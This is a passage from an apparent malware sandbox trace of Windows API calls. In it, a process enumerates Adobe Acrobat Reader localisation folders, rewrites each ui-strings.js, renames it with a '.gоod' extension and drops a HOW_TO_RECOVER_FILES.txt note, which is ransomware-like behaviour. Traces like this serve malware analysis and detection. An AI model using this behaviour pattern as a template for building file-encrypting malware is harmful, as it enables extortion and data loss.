lpOldMode=0x1ffeba40) returned 1 [0188.168] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6c5e185e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1ff7)) returned 1 [0188.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0188.169] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js.gоod")) returned 1 [0188.169] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0188.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0188.170] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ko-kr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0188.548] GetFileType (hFile=0x7f8) returned 0x1 [0188.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0188.549] GetFileType (hFile=0x7f8) returned 0x1 [0192.209] WriteFile (in: hFile=0x7f8, lpBuffer=0x34ce358*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x34ce358*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0192.578] CloseHandle (hObject=0x7f8) returned 1 [0192.579] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0192.579] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no", lpFilePart=0x0) returned 0x6a [0192.579] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0192.579] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.579] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1d08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0192.580] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0192.580] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0192.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0192.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0192.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0192.580] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no", lpFilePart=0x0) returned 0x6a [0192.580] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0192.580] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.580] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1d08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0192.580] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1d08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0192.581] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0192.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0192.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0192.581] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0192.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0192.581] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x35d8738 | out: lpFileInformation=0x35d8738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1d08)) returned 1 [0192.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0192.581] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0192.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0192.581] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0192.582] GetFileType (hFile=0x7f8) returned 0x1 [0192.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0192.582] GetFileType (hFile=0x7f8) returned 0x1 [0192.582] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0192.582] ReadFile (in: hFile=0x7f8, lpBuffer=0x35d8c20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x35d8c20*, lpNumberOfBytesRead=0x1ffebaa8*=0xd08, lpOverlapped=0x0) returned 1 [0192.583] CloseHandle (hObject=0x7f8) returned 1 [0192.584] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0192.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0192.584] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0192.584] GetFileType (hFile=0x7f8) returned 0x1 [0192.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0192.584] GetFileType (hFile=0x7f8) returned 0x1 [0192.584] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1d08 [0192.584] WriteFile (in: hFile=0x7f8, lpBuffer=0x35d9f20*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x35d9f20*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0192.584] CloseHandle (hObject=0x7f8) returned 1 [0192.584] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0192.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0192.584] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0192.585] GetFileType (hFile=0x7f8) returned 0x1 [0192.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0192.585] GetFileType (hFile=0x7f8) returned 0x1 [0192.585] ReadFile (in: hFile=0x7f8, lpBuffer=0x35dc248, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x35dc248*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0192.631] CloseHandle (hObject=0x7f8) returned 1 [0192.631] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0192.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0192.631] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0192.631] GetFileType (hFile=0x7f8) returned 0x1 [0192.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0192.631] GetFileType (hFile=0x7f8) returned 0x1 [0192.631] WriteFile (in: hFile=0x7f8, lpBuffer=0x3480ce8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x3480ce8*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0192.632] CloseHandle (hObject=0x7f8) returned 1 [0192.632] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0192.632] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0192.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0192.632] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6f06d5a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d18)) returned 1 [0192.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0192.632] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\nb-no\\ui-strings.js.gоod")) returned 1 [0192.633] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0192.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0192.634] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\nb-no\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0192.634] GetFileType (hFile=0x7f8) returned 0x1 [0192.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0192.634] GetFileType (hFile=0x7f8) returned 0x1 [0192.635] WriteFile (in: hFile=0x7f8, lpBuffer=0x348c488*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x348c488*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0192.636] CloseHandle (hObject=0x7f8) returned 1 [0192.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0192.636] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl", lpFilePart=0x0) returned 0x6a [0192.636] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0192.637] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.637] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0192.637] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0192.637] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0192.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0192.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0192.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0192.637] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl", lpFilePart=0x0) returned 0x6a [0192.637] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0192.637] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.638] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, 